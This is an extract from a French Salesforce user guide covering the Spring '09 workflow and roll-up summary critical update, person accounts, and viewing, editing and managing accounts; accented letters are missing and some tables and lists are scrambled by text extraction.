Pour activer la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul Spring '09 :
1. Cliquez sur Configuration Mises jour critiques.
2. Cliquez sur Vrifier en regard de la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul
Spring '09. Salesforce.com affiche la page de dtails et lanalyse dimpact de la mise jour, qui comprend une liste de
personnalisations dans votre organisation susceptibles d'tre affectes par la mise jour.
ATTENTION: Lanalyse dimpact peut ne pas inclure toutes les personnalisations de votre organisation susceptibles
d'tre affectes.
3. Examinez vos personnalisations pour vrifier si la mise jour entrane un comportement indsirable.
Conseil: Consultez les exemples ci-aprs afin de comprendre comment vos personnalisations peuvent tre affectes
et comment corriger toute fonctionnalit indsirable. Si la mise jour entrane un comportement imprvu, modifiez
la personnalisation avant d'activer la mise jour.
4. Cliquez sur Activer.

Console des mises jour critiques

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1045

5. Vous pouvez galement entrer des commentaires sur cette activation. Par exemple, si votre organisation compte plusieurs
administrateurs, vous pouvez indiquer quelles personnalisations vous avez vrifies avant d'activer la mise jour. Les
commentaires s'affichent dans l'historique des activations.
6. Cliquez sur Activer.

Dsactivation de la mise jour valuations de rgles de workflow et de champs rcapitulatifs de

cumul Spring '09
Pour dsactiver la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul Spring '09 :
1. Si vous avez cr des actions de workflow pour des mises jour de champs inter-objets aprs avoir activ la mise jour
valuations de rgles de workflow et de champs rcapitulatifs de cumul, supprimez ces mises jour de champs. Une mise
jour de champ inter-objets est une action de workflow capable de mettre jour une valeur dans l'enregistrement d'un
objet associ. Les mises jour de champs inter-objet ne peuvent pas exister dans votre systme sans la mise jour valuations
de rgles de workflow et de champs rcapitulatifs de cumul. Pour plus d'informations, reportez-vous Gestion des mises
jour de champ la page 741.
2. Cliquez sur Configuration Mises jour critiques.
3. Cliquez sur Vrifier en regard de la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul
Spring '09. Salesforce.com affiche la page de dtails de la mise jour.
4. Cliquez sur Dsactiver.
5. Vous pouvez galement entrer des commentaires sur cette dsactivation. Par exemple, vous pouvez dtailler les raisons
pour lesquelles vous dsactivez cette mise jour et indiquer tout comportement imprvu provoqu par la mise jour. Les
commentaires s'affichent dans l'historique des activations.
6. Cliquez sur Dsactiver.

Exemples
Pour comprendre comment la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul Spring '09
peut affecter votre organisation, supposons que vous possdez les personnalisations suivantes :

Un Apex aprs dclencheur dans des comptes contenant un vnement de dclencheur aprs la mise jour, aprs
l'insertion, aprs la restauration ou avant la suppression qui cre une opportunit lorsque vous modifiez
un compte ayant un revenu annuel suprieur 1 000 000 $
Une rgle de workflow dans des comptes qui attribue une tche au responsable du compte lorsque vous modifiez un compte
ayant un revenu annuel suprieur 1 000 000 $
Un champ rcapitulatif de cumul dans des comptes qui indique le nombre d'opportunits associes au compte

Si la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul Spring '09 n'est pas active et que
vous crez ou modifiez un compte ayant un revenu annuel suprieur 1 000 000 $, les vnements suivants se produisent
lorsque vous enregistrez vos modifications :
1.
2.
3.
4.

L'Apex aprs dclencheur cre une opportunit.

La nouvelle opportunit entrane l'incrmentation du champ rcapitulatif de cumul dans le compte.
La rgle de workflow attribue une tche au responsable du compte.
Salesforce.com interprte la modification du champ rcapitulatif de cumul comme un changement supplmentaire apport
au compte et rvalue la rgle de workflow, entranant ainsi la duplication d'une tche attribue au responsable du compte.

Si la mise jour valuations de rgles de workflow et de champs rcapitulatifs de cumul Spring '09 est active et que vous
modifiez un compte contenant un revenu suprieur 1 000 000 $ :

Console des mises jour critiques

1.
2.
3.
4.

Guide de l'utilisateur | Mises jour critiques Spring '09 | 1046

L'Apex aprs dclencheur cre une opportunit.

Le champ rcapitulatif de cumul du compte est incrment.
La rgle de workflow attribue une tche au responsable du compte.
Salesforce.com dtecte que la rgle de workflow a dj t value et ne procde aucune rvaluation. Aucune tche
duplique n'est attribue et aucune notification duplique n'est envoye au responsable du compte.

Comptes
Prsentation des comptes
Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Les comptes reprsentent les clients, concurrents et partenaires de votre entreprise. Chaque compte contient des informations
telles que nom, adresse et numros de tlphone. Vous pouvez enregistrer des informations associes telles que requtes,
opportunits, activits, partenaires, contrats et notes pour chaque compte.
L'onglet Compte affiche une page d'accueil qui permet de crer et de trouver rapidement tous les types de compte. Vous pouvez
galement trier et filtrer les comptes l'aide de vues de liste standard et personnalises. En outre, cet onglet vous permet
d'afficher et de modifier des informations dtailles pour chaque compte auquel vous avez accs.
Si les comptes personnels ont t activs pour votre entreprise, vous possdez deux types de compte : comptes professionnels
et comptes personnels. Les comptes professionnels reprsentent les autres socits avec lesquelles votre entreprise est en relation.
En ce qui concerne les comptes professionnels, les individus travaillant dans ces socits sont reprsents par les contacts. Les
comptes personnels reprsentent les clients individuels avec lesquels votre entreprise ralise des transactions, comme un client
en relation avec des services financiers, un acheteur en ligne ou un touriste. En fonction du modle commercial de votre
entreprise, vous pouvez utiliser des comptes professionnels, des comptes personnels ou les deux.
Si votre entreprise a t active avec PRM, vous pouvez crer des comptes partenaires. Les comptes partenaires sont des comptes
professionnels qu'un responsable de canaux utilise pour grer les entreprises partenaires, les utilisations partenaires et les
activits.
Remarque: Dans l'aide en ligne et les autres documents Salesforce.com, le terme compte fait systmatiquement
rfrence la fois aux comptes professionnels et aux comptes personnels. Les expressions compte professionnel et
compte personnel sont utilises lorsqu'il existe des diffrences entre les deux types de compte.

Voir aussi :
Page d'accueil des comptes
Qu'est-ce qu'un compte personnel ?
Prsentation de la gestion des relations partenaires

Comptes

Guide de l'utilisateur | Qu'est-ce qu'un compte personnel ? | 1048

Qu'est-ce qu'un compte personnel ?

Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Remarque: Les comptes personnels ne sont pas activs par dfaut dans Salesforce.com. Pour contrler rapidement si
votre organisation utilise des comptes personnels, vrifiez si vous avez une option pour slectionner Compte personnel
en tant que type d'enregistrement lors de la cration d'un compte. Pour demander des comptes personnels, contactez
votre administrateur ou contactez salesforce.com.
Un compte personnel est un consommateur individuel avec qui vous traitez, comme un client d'un service financier, un acheteur
en ligne ou un touriste. Les comptes personnels s'appliquent aux entreprises qui fonctionnent sur un modle business-to-consumer
(commerce des entreprises aux particuliers) par opposition un modle business-to-business (commerce interentreprises).
Dans un modle business-to-business, il existe une diffrence naturelle entre les autres entreprises avec lesquelles vous travaillez
et les personnes qui y sont associes. Dans Salesforce.com, cela se traduit par des comptes et des contacts associs des champs,
des fonctionnalits et des onglets diffrents. Dans un modle business-to-consumer, tant donn que vous fournissez des
produits ou des services des particuliers plutt qu' des socits ou des organismes, la distinction entre comptes et contacts
n'existe pas. Par consquent, les comptes personnels dans Salesforce.com combinent des champs de compte et de contact, et
peuvent tre utiliss comme contacts dans la plupart des situations impliquant des contacts. Par exemple, les comptes
professionnels n'ont pas de champs standard d'adresse e-mail et de fonction, contrairement aux comptes personnels. En outre,
les comptes personnels peuvent tre associs des campagnes comme les contacts, contrairement aux comptes professionnels.
Pour plus de dtails sur la fonction spcifique des contacts qui s'applique aux comptes personnels, reportez-vous Comportements
du compte personnel la page 1049.
L'application d'un type d'enregistrement de compte dot de proprits particulires permet aux comptes personnels d'agir
comme des contacts. Le nom par dfaut de ce type d'enregistrement est Compte personnel . Votre administrateur a peut-tre
chang le nom de ce type d'enregistrement et galement cr d'autres types d'enregistrement de compte ayant les mmes
proprits particulires. Pour plus d'informations sur les types d'enregistrement, reportez-vous Gestion des types
d'enregistrement la page 539 et Modification du champ du type d'enregistrement la page 1069.
Remarque: Dans l'aide en ligne et les autres documents Salesforce.com, le terme compte fait systmatiquement
rfrence la fois aux comptes professionnels et aux comptes personnels. Les expressions compte professionnel et
compte personnel sont utilises lorsqu'il existe des diffrences entre les deux types de compte.

Voir aussi :
Comportements des comptes personnels
Prsentation des comptes
Prsentation des contacts
Invalidation et dsactivation des utilisateurs du portail

Comptes

Guide de l'utilisateur | Qu'est-ce qu'un compte personnel ? | 1049

Comportements des comptes personnels

Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Remarque: Les comptes personnels ne sont pas activs par dfaut dans Salesforce.com. Pour demander des comptes
personnels, contactez salesforce.com.
Les comptes personnels sont des comptes qui peuvent galement tre utiliss comme contacts dans de nombreuses situations :
Le tableau suivant rsume les principales zones dans lesquelles les comptes personnels diffrent des comptes professionnels ou
constituent un cas part :
Fonctionnalit Salesforce.com

Comportement du compte personnel

Compte

Les comptes personnels prennent en charge les champs et les

fonctions de contact.

Fusion de comptes

Les comptes personnels ne peuvent tre fusionns qu'avec

d'autres comptes personnels. Reportez-vous Fusion de
comptes en double la page 1064.

Cration de compte rapide

Activits

Sur la page d'accueil des comptes, les champs de la zone

Cration rapide diffrent selon que le type d'enregistrement
de compte par dfaut dfini dans votre profil est un compte
personnel ou un compte professionnel.
Les comptes personnels peuvent tre associs des activits
l'aide des champs Nom ou Associ .
l'instar des contacts, les comptes personnels peuvent tre
invits des vnements de groupe.

Campagnes

Tout comme les contacts, les comptes personnels peuvent tre

ajouts des campagnes et avoir une liste associe Historique
de la campagne.

Requtes

Vous pouvez entrer des comptes personnels dans le champ

Nom du compte, le champ Nom du contact ou les deux.

Contacts

Dans la plupart des situations, vous pouvez utiliser les comptes

personnels comme s'il s'agissait de contacts. Vous pouvez les
inclure dans toutes les vues de liste de contacts, sauf dans la
liste Contacts rcents de la page d'accueil des contacts.
Contrairement aux comptes professionnels, les comptes
personnels n'ont pas de liste Contacts associe. Vous pouvez
cependant utiliser la liste associe Partenaires pour suivre les
relations existant entre plusieurs comptes personnels.

Comptes

Guide de l'utilisateur | Qu'est-ce qu'un compte personnel ? | 1050

Fonctionnalit Salesforce.com

Comportement du compte personnel

Rles des contacts

Tout comme les contacts, vous pouvez ajouter des comptes

personnels la liste associe Rles des contacts des requtes,
contrats et opportunits.

Objets personnaliss

Les objets personnaliss dots d'une relation avec des comptes

ou des contacts peuvent tre ajouts en tant que listes associes
sur des comptes personnels.

Portail client

Tout comme les contacts, vous pouvez activer des comptes

personnels en tant qu'utilisateurs de vos portails Client.. Notez
que les portails Client ne sont disponibles que pour Enterprise
et Unlimited Editions.

Intgration votre matriel de bureau

Les comptes personnels sont actuellement pris en charge dans

Connect Offline et Connect pour Outlook version 3.2 et
ultrieure ; reportez-vous Utilisation de comptes personnels
dans Connect pour Outlook la page 2072. Ils ne sont pas pris
en charge actuellement dans Connect pour Lotus Notes.

E-mail

Tout comme les contacts, vous pouvez envoyer des e-mails un

par un ou en masse des comptes personnels.

Champs

Une combinaison prdtermine de champs de compte et de

contact standard est propose sur la prsentation de page des
comptes personnels. De plus, tous les champs de compte et
de contact personnaliss sont disponibles.
noter que certains champs de compte professionnel ne sont
pas pris en charge pour les comptes personnels, comme
Compte principal et Afficher la hirarchie. De
la mme manire, le champ Rattachement hirarchique
des contacts n'est pas pris en charge pour les comptes
personnels.

Historique de champ

Vous pouvez suivre les champs de compte pour les comptes

personnels via les paramtres de l'historique des champs de
compte, mais les champs de contact pour les comptes
personnelssont configurs sur la page des paramtres
d'historique de champ de contact. Pour plus d'informations,
reportez-vous Suivi de l'historique des champs la page 411.

Assistants d'Importation

Les comptes personnels disposent d'assistants d'importation

uniques via Configuration Importation Importer mes
comptes personnels et Configuration Gestion des
donnes Importation Comptes personnels. Reportez-vous
Quels sont les lments imports pour les comptes
personnels ? la page 258

Icnes

Les comptes personnels sont associs une icne reprsentant

une personne ( ), tandis que les comptes professionnels
possdent une icne reprsentant un dossier ( ). Vous pouvez

Comptes

Fonctionnalit Salesforce.com

Guide de l'utilisateur | Qu'est-ce qu'un compte personnel ? | 1051

Comportement du compte personnel

ajouter l'icne du compte personnel aux rsultats de recherche,
aux vues de liste et aux botes de dialogue de recherche en
utilisant le critre Est un compte personnel gal
True (Vrai) .

Piste

Les pistes o le champ Entreprise est vide sont converties

en comptes personnels. Le type d'enregistrement par dfaut
du compte personnel de votre profil s'applique au nouveau
compte personnel . Notez que vous pouvez crer uniquement
des pistes avec un champ Socit vide l'aide de l'API
Force.com. Les pistes dont le champ Socit contient une
valeur sont converties en comptes professionnels. Le type
d'enregistrement par dfaut du compte professionnel de votre
profil s'applique au nouveau compte professionnel.
Reportez-vous Conversion de pistes la page 1532 et
Attribution de types d'enregistrement aux profils la page 143.

Vues de liste

Les comptes personnels apparaissent la fois dans les vues de

liste de comptes et de contacts. Ajoutez l'icne Est un
compte personnel aux vues de liste pour diffrencier
visuellement les comptes personnels des autres enregistrements,
et pour inclure ou exclure des comptes personnels d'une liste.

Configurations mobiles

Les configurations mobiles qui comprennent l'objet compte

fournissent automatiquement des comptes personnels et des
comptes professionnels sur les priphriques mobiles des
utilisateurs.
Les comptes personnels peuvent tre exclus de l'ensemble de
donnes de la configuration l'aide des critres Est un
compte personnel gal False (Faux) . Pour mobiliser
uniquement les comptes personnels, utilisez les critres Est
un compte personnel gal True (Vrai) . Si une
configuration mobile comprent des comptes, mais pas de
contacts, les utilisateurs affects cette configuration verront
un onglet Contacts dans l'application du client mobile et
l'onglet contiendra des comptes personnels.

Prsentations de page

Les comptes personnels sont associs des prsentations de

page uniques qui peuvent comporter des champs de compte
ou de contact, des liens personnaliss, des listes associes et
des listes associes de contacts. La prsentation de page des
comptes personnels ne prend pas en charge les champs
Rattachement hirarchique et Compte principal.
Vous ne pouvez pas ajouter de champ de formule du contact
qui rfrence l'objet Compte aux prsentations de page des
comptes personnels.

Partenaires

Vous pouvez utiliser la liste associe Partenaires pour relier

des comptes personnels. Il est conseill de renommer la liste

Comptes

Guide de l'utilisateur | Qu'est-ce qu'un compte personnel ? | 1052

Fonctionnalit Salesforce.com

Comportement du compte personnel

associe des partenaires en Comptes associs , Relations
ou un terme similaire qui identifie la relation existant entre
vos comptes personnels.

Types d'enregistrement

Les administrateurs ont la possibilit de configurer plusieurs

types d'enregistrement pour les comptes personnels. Un
compte personnel ne peut devenir qu'un type d'enregistrement
de compte personnel.

Changement du nom des onglets et champs standard

Les administrateurs peuvent personnaliser le nom des onglets

et des champs associs des comptes personnels notamment :
Le nom de l'onglet Compte, l'tiquette de champ compte
professionnel et l'tiquette de champ compte
personnel.
Le nom de l'onglet Contacts et l'tiquette de
champbusiness contact.

Recherche

Les comptes personnels n'apparaissent que dans les rsultats

de recherche de comptes. Les administrateurs peuvent ajouter
l'icne Est un compte personnel la prsentation de
recherche de comptes, afin de distinguer les comptes
personnels des comptes professionnels.

Portail libre-service

Tout comme les contacts, vous pouvez activer des comptes

personnels en tant qu'utilisateurs de votre portail libre-service.

Paramtres de partage

Le partage de contacts n'est pas disponible si vous activez des

comptes personnels.

Demandes Rester en contact

Comme les contacts, vous pouvez envoyer des demandes Rester

en contact, une par une ou en masse, aux comptes personnels.

Stockage

Les comptes personnels sont pris en compte dans le stockage

des comptes ainsi que dans le stockage des contacts. Ceci est
d au fait que l'API considre que chaque compte personnel
est compos d'un compte ainsi que d'un contact.

Rgles de Workflow

La cration et la modification d'un compte personnel

dclenchent les rgles de workflow du compte. Reportez-vous
Gestion du workflow et des approbations la page 723.

Voir aussi :
Qu'est-ce qu'un compte personnel ?
Invalidation et dsactivation des utilisateurs du portail

Comptes

Guide de l'utilisateur | Page d'accueil des comptes | 1053

Page d'accueil des comptes

Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Compte :

Autorisation de lecture sur les comptes

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour crer des comptes professionnels :

Autorisation de cration sur les comptes

Pour crer des comptes personnels :

Autorisation de cration sur les comptes et les contacts

Un clic sur l'onglet Comptes affiche la page d'accueil des comptes.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Dans la section Comptes rcents, slectionnez un lment de la liste droulante pour afficher une liste rduite des comptes
correspondant le mieux ce critre. Dans cette liste, vous pouvez cliquer sur le nom du compte dont vous souhaitez afficher
les dtails. Cliquez alternativement sur les liens Afficher 25 lments et Afficher 10 lments pour changer le nombre
d'lments affichs. Les champs que vous voyez apparatre dpendent de la prsentation de recherche de l'onglet Comptes
dfinie par l'administrateur et des paramtres de scurit relatifs aux champs (disponibles exclusivement dans les ditions
Enterprise Edition, Unlimited Edition et Developer Edition). Voici les options disponibles pour les comptes rcents :
Option

Description

Affich rcemment

Les dix ou vingt-cinq derniers comptes que vous avez

affichs, en commenant par le compte consult le plus
rcemment. Cette liste provient des lments rcents et
contient les enregistrements dont vous tes responsable et
ceux des autres utilisateurs.

Cr rcemment

Les dix ou vingt-cinq derniers comptes que vous avez crs,

en commenant par le compte cr le plus rcemment. Cette
liste ne contient que les enregistrements dont vous tes
responsable.

Modifi rcemment

Les dix ou vingt-cinq derniers comptes que vous avez mis

jour, en commenant par le compte mis jour le plus
rcemment. Cette liste ne contient que les enregistrements
dont vous tes responsable.

Si l'administrateur a activ l'option Quick Create, vous pouvez ajouter un nouveau compte partir de la zone Quick Create
du menu latral de la page d'accueil des comptes. Remplissez les champs pour ajouter un nouveau compte. Si votre entreprise

Comptes

Guide de l'utilisateur | Affichage des listes de comptes | 1054

utilise des comptes personnels et que votre type d'enregistrement par dfaut pour l'onglet Compte est un type d'enregistrement
de compte personnel, les champs Cration rapide comprennent les indications Prnom et Nom au lieu de Nom du compte.
Vous pouvez galement cliquer sur Nouveau prs de la section Comptes rcents pour crer un compte.

Sous Rapports, cliquer sur le nom du rapport que vous souhaitez afficher.
Slectionnez un des liens sous Outils pour accder aux utilitaires permettant de grer vos comptes.
Si des comptes sont partags avec des contacts externes via 100% Salesforce, choisissez l'une des vues de liste sous Comptes
partir des connexions pour afficher les comptes que vos partenaires professionnels ont partags avec vous.

Voir aussi :
Prsentation des comptes
Qu'est-ce qu'un compte personnel ?
Affichage et modification de comptes
Fusion de comptes en double
Cration de vues Listes personnalises

Affichage des listes de comptes

Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des listes de comptes :

Autorisation de lecture sur les comptes

Pour crer des comptes professionnels :

Autorisation de cration sur les comptes

Pour crer des comptes personnels :

Autorisation de cration sur les comptes et les contacts

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page de liste des comptes affiche la liste des comptes dans votre vue actuelle. partir de cette page, vous pouvez afficher
des informations de compte dtailles et accder d'autres informations connexes.

Cliquez sur un nom de compte pour afficher les dtails de ce compte.

Cliquez sur Modifier ou sur Suppr en regard d'un nom de compte pour modifier ou supprimer ce compte. Reportez-vous
Affichage et modification de comptes la page 1056.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Pour crer un compte, cliquez sur Nouveau compte ou slectionnez Compte dans la liste droulante Crer un nouveau
du menu latral. Ces options apparaissent uniquement si vous disposez de l'autorisation de cration sur les comptes.

Comptes

Guide de l'utilisateur | Affichage des listes de comptes | 1055

Cliquez sur un en-tte de colonne pour trier les comptes par ordre croissant en fonction des informations de cette colonne.
Cliquez de nouveau sur l'en-tte de colonne pour trier les comptes par ordre dcroissant.
Si votre entreprise utilise des comptes personnels et que votre vue de liste actuelle comprend le champ Est un compte
personnel, l'en-tte de colonne pour ce champ est l'icne du compte personnel (

). Cliquez sur l'icne du compte

personnel dans l'en-tte pour trier les comptes personnels par ordre ascendant ou descendant.

En haut de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de comptes suivant ou prcdent.
Au bas de la liste des comptes, slectionnez moins ou plus pour afficher une liste plus courte ou plus longue.
Cliquez sur le lien Ouvrir le calendrier en bas de la page pour afficher une vue hebdomadaire d'un calendrier sous la
liste. Ensuite, vous pouvez faire glisser un enregistrement de la liste vers une priode dans le calendrier pour crer rapidement
un vnement associ l'enregistrement. Notez que votre administrateur contrle la disponibilit de la planification par
glisser-dplacer.

Voir aussi :
Page d'accueil des comptes
Qu'est-ce qu'un compte personnel ?
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Comptes

Guide de l'utilisateur | Affichage et modification de comptes | 1056

Affichage et modification de comptes

Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

Pour modifier des comptes professionnels :

Autorisation de modification sur les comptes

Pour modifier des comptes personnels :

Autorisation de modification sur les comptes et les contacts

Pour activer des comptes partenaires :

Pour dsactiver des comptes partenaires :

Grer les partenaires

Modifier des comptes
ET
Grer les partenaires

Pour dsactiver les comptes du portail client :

Modifier les comptes

ET
Modifier les utilisateurs libre-service

Affichage de comptes
Une fois que vous avez localis un compte sur la page d'accueil ou sur la page de liste des comptes, cliquez sur son nom
pour afficher les informations dtailles correspondantes.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification de comptes
Pour mettre jour les dtails du compte, cliquez sur Modifier, puis modifiez les champs que vous souhaitez mettre
jour. Lorsque vous avez termin, cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrer et Nouveau
pour enregistrer le compte et en crer un nouveau.
Remarque: Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement
dans la page de dtails.

Marquage de comptes
Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour baliser l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un noms
de balise pour afficher une liste de tous les enregistrements contenant cette balise.

Comptes

Guide de l'utilisateur | Affichage et modification de comptes | 1057

Partage
Dans les organisations Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, pour partager
un compte et les informations associes avec d'autres utilisateurs, groupes ou rles, cliquez sur Partage.
Connect Offline
Si vous utilisez Connect Offline, vous pouvez mettre jour un sous-ensemble de vos comptes sans connexion Internet.
Pour dterminer les comptes mettre jour, un administrateur peut attribuer une configuration de porte-documents
votre profil ou vous pouvez modifier les paramtres de porte-documents dans Connect Offline. Vous pouvez en outre
cliquer sur le bouton Inclure en mode autonome dans la page de dtails d'un compte pour inclure le compte dans votre
porte-documents hors ligne. Vous pouvez slectionner jusqu' 100 comptes inclure dans votre porte-documents hors
ligne.
Activation et dsactivation de comptes partenaires
Si votre organisation a activ un portail partenaire, cliquez sur Activer en tant que partenaire pour activer un compte
en tant que compte partenaire.
Pour dsactiver un compte en tant que compte partenaire, cliquez sur Dsactiver le compte partenaire. La dsactivation
d'un compte partenaire dsactive jusqu' 15 utilisateurs du portail partenaire associs au compte et supprime dfinitivement
tous les rles et groupes de portail partenaire du compte. Vous ne pouvez pas restaurer des rles et groupes de portail
partenaire supprims.
Une fois un compte partenaire dsactiv, vous pouvez ractiver des contacts individuels en tant qu'utilisateurs du portail
partenaire. La ractivation d'un contact pour un portail partenaire cre toutefois un nouvel utilisateur et un nouveau rle
du portail qui ne sont en aucun cas associs l'utilisateur et au rle du portail partenaire prcdent.
Nous recommandons de dsactiver un compte partenaire s'il a t accidentellement activ pour l'accs au portail.
Activation et dsactivation de comptes personnels en tant qu'utilisateurs du portail client
Dans les organisations Enterprise Edition et Unlimited Edition o les comptes personnels et un portail client ont t
activs, cliquez sur Activer l'utilisateur du portail client dans la page de dtails du compte personnel pour permettre
un compte personnel d'utiliser votre Portail client. Une fois le compte personnel activ, cliquez sur Afficher l'utilisateur
du portail client dans la page de dtails du compte personnel pour afficher ou modifier l'accs d'un compte personnel
votre portail client.
Pour dsactiver un compte personnel pour un portail client, cliquez sur Dsactiver le compte du portail client. Si vous
ractivez un compte personnel pour un portail client, un nouvel utilisateur du portail est cr et il n'est en aucun cas
associ l'utilisateur du portail client prcdent.
Dsactivation de comptes du portail client
Si votre organisation a activ un portail client et que vous souhaitez dsactiver un compte pour un portail client, cliquez
sur Dsactiver le compte du portail client. La dsactivation d'un compte du portail client dsactive jusqu' 100 utilisateurs
du portail client associs au compte et supprime dfinitivement tous les rles et groupes de portail client du compte. Vous
ne pouvez pas restaurer des rles et groupes du portail client supprims.
Vous ne pouvez pas ractiver un compte pour un portail client. Vous pouvez toutefois ractiver des contacts individuels
en tant qu'utilisateurs du portail client. La ractivation d'un contact pour un portail client cre un nouvel utilisateur et
un nouveau rle du portail qui ne sont en aucun cas associs l'utilisateur et au rle du portail client prcdent.
Nous recommandons de dsactiver un compte du portail client si des contacts du compte ont t accidentellement activs
pour l'accs au portail.
Vous ne pouvez pas dsactiver les comptes du portail client avec des utilisateurs du Customer Portal haut volume.

Comptes

Guide de l'utilisateur | Affichage et modification de comptes | 1058

Listes associes au compte

La partie infrieure de la page prsente des informations associes au compte, comprenant les activits, les opportunits,
les requtes, les partenaires, les contrats, les quipes de comptes, les actifs, ainsi que les notes. Les listes associes qui
s'affichent dpendent de vos paramtres de personnalisation, de toute personnalisation effectue par votre administrateur
aux prsentations de pages, de vos autorisations d'affichage des donnes associes et du type de compte affich : compte
professionnel ou compte personnel. Vous pouvez cliquer sur des lments individuels pour afficher des dtails
supplmentaires. Cliquez sur plus au bas de la page ou sur Afficher plus d'informations sous une liste associe pour
afficher d'autres lments. Cliquez sur le bouton Nouveau pour ajouter directement de nouveaux lments. Par exemple,
cliquer sur Nouveau contact permet d'ajouter un nouveau contact.
Impression de comptes
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page affiche, cliquez sur Retour la liste en haut de toute page de dtails de compte. Si votre
organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails. Pour plus d'informations, reportez-vous
Remarque: En tant que responsable d'un compte, vous pouvez normalement voir toutes les donnes qui lui sont
associes.
Cependant, votre administrateur peut configurer une option dans votre rle qui dtermine si vous pouvez afficher les
opportunits dont vous n'tes pas responsable et qui sont associes vos comptes.
De plus, si les comptes sont attribus des territoires, l'administrateur peut dfinir des options qui dterminent si les
utilisateurs de ce territoire sont autoriss afficher, modifier, transfrer ou supprimer vos comptes.

Voir aussi :
Affichage des comptes principaux
Modification du champ de type d'enregistrement
Ajout de noms traduits
Modification des territoires d'un compte
Historique des Comptes

Comptes

Guide de l'utilisateur | Affichage et modification de comptes | 1059

Modification des territoires d'un compte

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les territoires d'un compte :

Grer les territoires

OU
Vous tes un responsable de prvision, l'option Les
responsables de prvisions peuvent grer les
territoires est slectionne et vous travaillez un poste

infrieur au vtre dans la hirarchie des territoires.

Pour modifier les territoires attribus manuellement un compte :

1. Dans la page de dtails du compte, cliquez sur Changer en regard du champ Territoires.
2. Dans la liste Attributions de territoire bases sur des rgles, affichez les territoires contenant le compte
conformment aux rgles d'attribution de compte actives. Vous ne pouvez pas utiliser cette page pour supprimer le compte
de ces territoires. Pour effectuer cette opration, vous devez modifier les rgles d'attribution de compte qui ont servi
valuer le compte. Pour plus d'informations, reportez-vous Gestion des rgles d'attribution de compte la page 1969.
3. Si le compte a t attribu manuellement un ou plusieurs territoires, les noms des territoires apparaissent dans la liste
Territoires slectionns.
4. Cliquez sur Slectionner et sur Dslectionner pour dplacer les territoires de la liste Territoires disponibles vers la liste
Territoires slectionns.
5. Si vous le souhaitez, cliquez sur Vue horizontale ou sur Vue verticale dans la liste droulante pour placer la liste Territoires
slectionns cot de la liste Territoires disponibles ou en dessous.
6. Lorsque la liste Territoires slectionns contient les territoires auxquels le compte doit tre manuellement attribu, cliquez
sur Enregistrer pour terminer l'opration et revenir la page de dtails du compte.

Voir aussi :
Affichage et modification de comptes
Prsentation de la gestion des territoires
Attribution manuelle de comptes aux territoires

Comptes

Guide de l'utilisateur | Affichage des comptes principaux | 1060

Historique des Comptes

Les comptes professionnels sont disponibles dans : Toutes les ditions
Les comptes personnels sont disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des comptes :

Autorisation de lecture sur les comptes

La liste associe Historique des comptes d'une page de dtails de compte suit les modifications apportes au compte. Chaque
fois qu'un utilisateur modifie les champs standard ou personnaliss dont l'historique doit tre suivi sur le compte, une nouvelle
entre est ajoute la liste associe Historique des comptes. Pour les comptes personnels, cela comprend tous les champs de
contact appropris qui doivent tre suivis. Toutes les entres comprennent la date, l'heure et la nature de la modification, ainsi
que le nom de l'utilisateur ayant apport la modification. Les modifications apportes aux listes associes sur le compte ne sont
pas suivies dans l'historique des comptes. Pour plus d'informations sur la configuration des champs suivis, reportez-vous
